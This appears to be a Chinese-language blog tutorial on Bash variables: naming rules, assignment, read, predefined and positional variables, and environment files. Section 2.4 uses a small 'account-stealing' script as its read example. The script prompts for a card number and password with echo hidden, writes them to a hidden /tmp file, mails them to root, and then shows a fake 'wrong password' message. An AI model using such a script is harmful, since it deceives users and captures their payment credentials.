1. 变量的解释
- 使用不变的字符串存储变化的数据
- 在脚本中变化的数据使用变量表示
- 默认变量的类型都是字符类型
2. 生成变量并赋值
2.1. 变量名称命名规则
- 变量名可以使用数字、小写字母、下划线
- 区分大小写
- 不能以数字开头
- 等号两边不允许有空格
- 不能使用特殊符号
- 不能使用shell的关键字
- 变量名相同时,新变量将覆盖旧变量
2.2. 直接生成变量
[变量名]=[值]
2.3. 把命令执行后的输出结果生成变量
# 示例:查看当前时间,并存入到变量new_date中
## 方式1
new_date=`date +%Y-%m-%d`
## 方式2
new_date=$(date +%Y-%m-%d)
2.4. 使用read 从键盘输入读取变量值完成赋值
# 示例:简单的盗号脚本
[root@localhost ~]# vim ceshi1.sh
read -p "卡号:" -t 10 kahao
stty -echo //屏蔽终端的输出显示功能
read -p "密码:" -t 10 mima
stty echo
echo //一个echo开始新的一行
echo $kaohao $mima >> /tmp/.kahao.txt //将键盘输入的数据重定向到此文件
mail -s "kahao" root < /tmp/.kahao.txt //将此文件中的数据发送邮箱
echo "密码输入错误!" //给出最后提示信息
stty echo //恢复终端输入显示功能
2.5. 使用已有变量给当前定义的变量赋值
x=10
y=x
2.6. 累加赋值
x=1
y=2
z=$x$y //$符号既是一个分割符,遇到$符号就显示下一个
z=${x}-${y} //中间有其他字符时,需给变量加大括号
3. 变量的增删改查
3.1. 查看变量
# 查看所有变量
set
# 查看指定变量
set | grep [变量名]
3.2. 使用变量
$[变量名]
3.3. 输出变量的值
echo $[变量名]
3.4. 删除变量
unset [变量名]
4. 变量类型
4.1. 系统环境变量
- 启动操作系统时,加载的系统配置文件或服务的配置文件
- 变量名为大写表示
- 变量名固定,值可以被修改
- 写脚本时可以直接使用系统环境变量或重新复制
env //查看所有系统环境变量
/etc/profile //储存系统环境变量的文件
4.2. 预定义变量
- shell里事先定义好的变量
- 变量名和值都是 固定且不能修改,写脚本时可以直接使用
# 示例:
$0 进程名 \ 脚本名
$? 上次执行命令 的返回状态
等 0 表示上次命令执行成功
非 0 上次命令执行失败
$$ 当前终端运行进程的PID号
$! 当前终端后台最后一个进程运行的pid号
$# 保存脚本或函数位置变量的总个数
$* 保存脚本或函数所有位置变量的值
4.3. 位置变量
- 保存脚本或函数对应位置参数的值
- 位置变量的作用是用来给脚本传值
# 示例:
$1 $2 ....... $9 .......
# 编写脚本:
[root@localhost ~]# vim echo.sh
echo $1 and $2 and $3
# 运行:
chmod +x echo.sh
./echo.sh a b c
5. 其他
5.1. 生命周期
- 终端中定义的变量在终端关闭后就会消失
- 脚本中定义的变量只在脚本运行时有效
5.2. 系统级配置文件:对所有系统用户生效
5.3. 用户级配置文件:只对指定用户生效
5.4. 变量的读取顺序
- /etc/profile
- ~/.bash_profile
- ~/.bashrc
- /etc/bashrc
本文链接:
http://blog.ps-ef.cn/Linux/112.html